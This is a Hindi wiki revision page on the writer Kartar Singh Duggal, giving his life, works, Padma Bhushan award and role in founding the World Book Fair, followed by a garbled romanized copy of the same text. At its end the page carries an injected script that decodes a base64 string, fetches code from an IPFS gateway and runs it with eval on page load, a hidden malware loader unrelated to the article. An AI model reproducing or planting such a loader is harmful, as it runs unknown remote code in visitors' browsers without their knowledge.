Difference between revisions of "करतार सिंह दुग्गल"
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|पति/पत्नी=आयशा | |पति/पत्नी=आयशा | ||
|संतान= | |संतान= | ||
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|कर्म-क्षेत्र= लेखक | |कर्म-क्षेत्र= लेखक | ||
|मृत्यु= [[26 जनवरी]], [[2012]] | |मृत्यु= [[26 जनवरी]], [[2012]] | ||
|मृत्यु स्थान=[[दिल्ली]] | |मृत्यु स्थान=[[दिल्ली]] | ||
− | |मुख्य रचनाएँ='हाल मुरीदों का','उपर की मंजिल',' | + | |मुख्य रचनाएँ='हाल मुरीदों का', 'उपर की मंजिल', 'इन्सानियत' आदि। |
|विषय= | |विषय= | ||
|भाषा=[[पंजाबी]], [[हिंदी]] और [[उर्दू]] | |भाषा=[[पंजाबी]], [[हिंदी]] और [[उर्दू]] | ||
− | |विद्यालय=फोरमैन | + | |विद्यालय=फोरमैन क्रिश्चियन कॉलेज |
|शिक्षा=एम. ए | |शिक्षा=एम. ए | ||
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− | |अन्य जानकारी=करतार सिंह दुग्गल | + | |अन्य जानकारी=करतार सिंह दुग्गल ने सैकड़ों [[कहानी|कहानियाँ]] और [[कविता|कविताएँ]] लिखीं तथा उनकी कहानियों के कुल 24 संग्रह प्रकाशित हुए। इसी तरह कविताओं के भी 2 संग्रह प्रकाशित हुए। |
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}} | }} | ||
− | '''करतार सिंह दुग्गल''' ([[अंग्रेज़ी]]: ''Kartar Singh Duggal''; जन्म- [[1 मार्च]], [[1917]]; मृत्यु- [[26 जनवरी]], [[2012]]) [[पंजाबी]], [[हिंदी]] और [[उर्दू]] भाषाओं में लिखने वाले प्रसिद्ध साहित्यकार थे जिन्होंने पंजाबी, उर्दू, हिन्दी और अंग्रेज़ी भाषा में लघु [[कथा|कथाएँ]], [[उपन्यास]], [[नाटक|नाटकों]] की रचनाएँ | + | '''करतार सिंह दुग्गल''' ([[अंग्रेज़ी]]: ''Kartar Singh Duggal''; जन्म- [[1 मार्च]], [[1917]]; मृत्यु- [[26 जनवरी]], [[2012]]) [[पंजाबी]], [[हिंदी]] और [[उर्दू]] भाषाओं में लिखने वाले प्रसिद्ध साहित्यकार थे जिन्होंने पंजाबी, उर्दू, हिन्दी और अंग्रेज़ी भाषा में लघु [[कथा|कथाएँ]], [[उपन्यास]], [[नाटक|नाटकों]] की रचनाएँ की। इनकी रचनाओं का भारतीय और विदेशी भाषाओं में [[अनुवाद]] भी हुआ है। करतार सिंह दुग्गल को सन [[1988]] में [[भारत सरकार]] द्वारा [[साहित्य]] एवं शिक्षा के क्षेत्र में [[पद्म भूषण]] से सम्मानित किया गया था।<ref>{{cite web |url=http://www.bbc.com/hindi/news/2012/01/120127_duggal_obit_adg.shtml |title=मशहूर पंजाबी लेखक के एस दुग्गल का निधन|accessmonthday=10 मार्च|accessyear=2017 |last= |first= |authorlink= |format= |publisher=बीबीसी हिंदी|language= हिंदी}}</ref> |
=== परिचय === | === परिचय === | ||
− | करतार सिंह दुग्गल का जन्म [[1 मार्च]], [[1917]] को रावलपिंडी (अब पाकिस्तान), [[अखण्डित पंजाब|अविभाजित पंजाब]] में हुआ था। उन्होंने लाहौर के फोरमैन क्रिश्चियन कॉलेज से [[अंग्रेज़ी]] में एम.ए. किया था। उन्होंने [[1942]] से [[1966]] तक आकाशवाणी में केंद्र निदेशक समेत विभिन्न पदों पर काम किया तथा इस दौरान उन्होंने आकाशवाणी के लिये [[पंजाबी]] समेत दूसरी भाषाओं में कई [[नाटक]] और [[कहानी|कहानियाँ]] लिखीं। इनकी पत्नी का नाम आयशा है तथा इनका एक पुत्र भी है। [[1966]]-[[1973|73]] में करतार सिंह दुग्गल नेशनल बुक ट्रस्ट के निदेशक पद पर थे और 1973 से [[1976]] तक सूचना एवं प्रसारण मंत्रालय में बतौर सलाहकार उन्होंने अपनी सेवाएं दीं। | + | करतार सिंह दुग्गल का जन्म [[1 मार्च]], [[1917]] को रावलपिंडी (अब पाकिस्तान), [[अखण्डित पंजाब|अविभाजित पंजाब]] में हुआ था। उन्होंने लाहौर के फोरमैन क्रिश्चियन कॉलेज से [[अंग्रेज़ी]] में एम.ए. किया था। उन्होंने [[1942]] से [[1966]] तक [[आकाशवाणी]] में केंद्र निदेशक समेत विभिन्न पदों पर काम किया तथा इस दौरान उन्होंने आकाशवाणी के लिये [[पंजाबी]] समेत दूसरी [[भाषा|भाषाओं]] में कई [[नाटक]] और [[कहानी|कहानियाँ]] लिखीं। इनकी पत्नी का नाम 'आयशा' है तथा इनका एक [[पुत्र]] भी है। [[1966]]-[[1973|73]] में करतार सिंह दुग्गल [[नेशनल बुक ट्रस्ट]] के निदेशक पद पर थे और 1973 से [[1976]] तक सूचना एवं प्रसारण मंत्रालय में बतौर सलाहकार उन्होंने अपनी सेवाएं दीं। |
===रचनाएँ === | ===रचनाएँ === | ||
− | करतार सिंह दुग्गल ने सैकड़ों [[कहानी|कहानियाँ]] और [[कविता|कविताएँ]] लिखीं तथा उनकी कहानियों के कुल 24 संग्रह प्रकाशित हुये। इसी तरह कविताओं के भी 2 संग्रह प्रकाशित हुये। इसके अलावा उन्होंने 10 [[उपन्यास]] और 7 [[नाटक]] भी [[साहित्य]] संसार को सौंपे। इनकी कई कहानियों के भारतीय-विदेशी भाषाओं में अनुवाद | + | करतार सिंह दुग्गल ने सैकड़ों [[कहानी|कहानियाँ]] और [[कविता|कविताएँ]] लिखीं तथा उनकी कहानियों के कुल 24 संग्रह प्रकाशित हुये। इसी तरह कविताओं के भी 2 संग्रह प्रकाशित हुये। इसके अलावा उन्होंने 10 [[उपन्यास]] और 7 [[नाटक]] भी [[साहित्य]] संसार को सौंपे। इनकी कई कहानियों के भारतीय-विदेशी भाषाओं में अनुवाद हुए और सैकड़ों संग्रह प्रकाशित हुए। करतार सिंह के दो कविता संग्रह और एक [[आत्मकथा]] भी पाठकों तक पहुँची। उनकी पुस्तकें कई [[विश्वविद्यालय|विश्वविद्यालयों]] में पाठ्यक्रम का हिस्सा बनीं। |
;लोकप्रिय रचनाएँ | ;लोकप्रिय रचनाएँ | ||
#हाल मुरीदों का | #हाल मुरीदों का | ||
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#सरबत्त दा भला | #सरबत्त दा भला | ||
===माहिर फ़नकार=== | ===माहिर फ़नकार=== | ||
− | करतार सिंह के साहित्य को जानने वाले लोग इन्हें एक माहिर फ़नकार के तौर पर याद करते हैं। दिल्ली पंजाबी साहित्य अकादमी के सचिव रवैल सिंह करतार सिंह दुग्गल को पंजाबी लेखकों में पहली पंक्ति | + | करतार सिंह के [[साहित्य]] को जानने वाले लोग इन्हें एक माहिर फ़नकार के तौर पर याद करते हैं। दिल्ली पंजाबी साहित्य अकादमी के सचिव रवैल सिंह करतार सिंह दुग्गल को पंजाबी लेखकों में पहली पंक्ति का सिपाही मानते हैं। रवैल सिंह दुग्गल को [[गुरु ग्रंथ साहब]] के नए [[काव्य]] संस्करण के लिए भी याद करते हैं। |
=== पुरस्कार === | === पुरस्कार === | ||
− | करतार सिंह दुग्गल को सन [[1988]] में [[भारत सरकार]] द्वारा | + | करतार सिंह दुग्गल को सन [[1988]] में [[भारत सरकार]] द्वारा 'साहित्य एवं शिक्षा' के क्षेत्र में [[पद्म भूषण]] से सम्मानित किया गया था। करतार सिंह [[साहित्य अकादमी पुरस्कार हिन्दी|साहित्य अकादमी सम्मान]] सहित कई सम्मानों से नवाजे गए उन्होंने [[उपन्यास]], [[कहानी|कहानियाँ]], और [[नाटक]] लिख कर अपने लिए [[साहित्य]] की दुनिया में जगह बनाई। |
=== विश्व पुस्तक मेले के आरम्भकर्ता === | === विश्व पुस्तक मेले के आरम्भकर्ता === | ||
− | करतार सिंह दुग्गल जब नेशनल बुक ट्रस्ट के संचालक बने तब उन्होंने विश्व पुस्तक मेले का आग़ाज़ किया जो आज तक जारी है। [[भारत]] का सबसे बड़ा पुस्तकालय आन्दोलन, राजा राममोहन रॉय फाउंडेशन, भी दुग्गल साहब के हाथों क़ायम हुआ। | + | करतार सिंह दुग्गल जब [[नेशनल बुक ट्रस्ट]] के संचालक बने तब उन्होंने 'विश्व पुस्तक मेले' का आग़ाज़ किया जो आज तक जारी है। [[भारत]] का सबसे बड़ा पुस्तकालय आन्दोलन, राजा राममोहन रॉय फाउंडेशन, भी दुग्गल साहब के हाथों क़ायम हुआ। |
=== निधन === | === निधन === | ||
करतार सिंह दुग्गल का निधन [[26 जनवरी]], [[2012]] को [[दिल्ली]] में हुआ था। | करतार सिंह दुग्गल का निधन [[26 जनवरी]], [[2012]] को [[दिल्ली]] में हुआ था। | ||
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==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
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Latest revision as of 08:57, 21 September 2022
karatar sianh duggal
| |
poora nam | karatar sianh duggal |
any nam | ke. es. duggal |
janm | 1 march, 1917 |
mrityu | 26 janavari, 2012 |
mrityu sthan | dilli |
pati/patni | ayasha |
karm bhoomi | bharat |
karm-kshetr | lekhak |
mukhy rachanaean | 'hal muridoan ka', 'upar ki manjil', 'insaniyat' adi. |
bhasha | panjabi, hiandi aur urdoo |
vidyalay | phoramain krishchiyan k aaulej |
shiksha | em. e |
puraskar-upadhi | padm bhooshan (1988) |
nagarikata | bharatiy |
any janakari | karatar sianh duggal ne saik doan kahaniyaan aur kavitaean likhian tatha unaki kahaniyoan ke kul 24 sangrah prakashit hue. isi tarah kavitaoan ke bhi 2 sangrah prakashit hue. |
inhean bhi dekhean | kavi soochi, sahityakar soochi |
karatar sianh duggal (aangrezi: Kartar Singh Duggal; janm- 1 march, 1917; mrityu- 26 janavari, 2012) panjabi, hiandi aur urdoo bhashaoan mean likhane vale prasiddh sahityakar the jinhoanne panjabi, urdoo, hindi aur aangrezi bhasha mean laghu kathaean, upanyas, natakoan ki rachanaean ki. inaki rachanaoan ka bharatiy aur videshi bhashaoan mean anuvad bhi hua hai. karatar sianh duggal ko san 1988 mean bharat sarakar dvara sahity evan shiksha ke kshetr mean padm bhooshan se sammanit kiya gaya tha.[1]
parichay
karatar sianh duggal ka janm 1 march, 1917 ko ravalapiandi (ab pakistan), avibhajit panjab mean hua tha. unhoanne lahaur ke phoramain krishchiyan k aaulej se aangrezi mean em.e. kiya tha. unhoanne 1942 se 1966 tak akashavani mean keandr nideshak samet vibhinn padoan par kam kiya tatha is dauran unhoanne akashavani ke liye panjabi samet doosari bhashaoan mean kee natak aur kahaniyaan likhian. inaki patni ka nam 'ayasha' hai tatha inaka ek putr bhi hai. 1966-73 mean karatar sianh duggal neshanal buk trast ke nideshak pad par the aur 1973 se 1976 tak soochana evan prasaran mantralay mean bataur salahakar unhoanne apani sevaean dian.
rachanaean
karatar sianh duggal ne saik doan kahaniyaan aur kavitaean likhian tatha unaki kahaniyoan ke kul 24 sangrah prakashit huye. isi tarah kavitaoan ke bhi 2 sangrah prakashit huye. isake alava unhoanne 10 upanyas aur 7 natak bhi sahity sansar ko sauanpe. inaki kee kahaniyoan ke bharatiy-videshi bhashaoan mean anuvad hue aur saik doan sangrah prakashit hue. karatar sianh ke do kavita sangrah aur ek atmakatha bhi pathakoan tak pahuanchi. unaki pustakean kee vishvavidyalayoan mean pathyakram ka hissa banian.
- lokapriy rachanaean
- hal muridoan ka
- oopar ki manjil
- iansaniyat
- mitti musalaman ki
- chil aur chattan
- tushar kan
- sarabatt da bhala
mahir fanakar
karatar sianh ke sahity ko janane vale log inhean ek mahir fanakar ke taur par yad karate haian. dilli panjabi sahity akadami ke sachiv ravail sianh karatar sianh duggal ko panjabi lekhakoan mean pahali pankti ka sipahi manate haian. ravail sianh duggal ko guru granth sahab ke ne kavy sanskaran ke lie bhi yad karate haian.
puraskar
karatar sianh duggal ko san 1988 mean bharat sarakar dvara 'sahity evan shiksha' ke kshetr mean padm bhooshan se sammanit kiya gaya tha. karatar sianh sahity akadami samman sahit kee sammanoan se navaje ge unhoanne upanyas, kahaniyaan, aur natak likh kar apane lie sahity ki duniya mean jagah banaee.
vishv pustak mele ke arambhakarta
karatar sianh duggal jab neshanal buk trast ke sanchalak bane tab unhoanne 'vishv pustak mele' ka agaz kiya jo aj tak jari hai. bharat ka sabase b da pustakalay andolan, raja ramamohan r aauy phauandeshan, bhi duggal sahab ke hathoan qayam hua.
nidhan
karatar sianh duggal ka nidhan 26 janavari, 2012 ko dilli mean hua tha.
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tika tippani aur sandarbh
- ↑ mashahoor panjabi lekhak ke es duggal ka nidhan (hiandi) bibisi hiandi. abhigaman tithi: 10 march, 2017.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>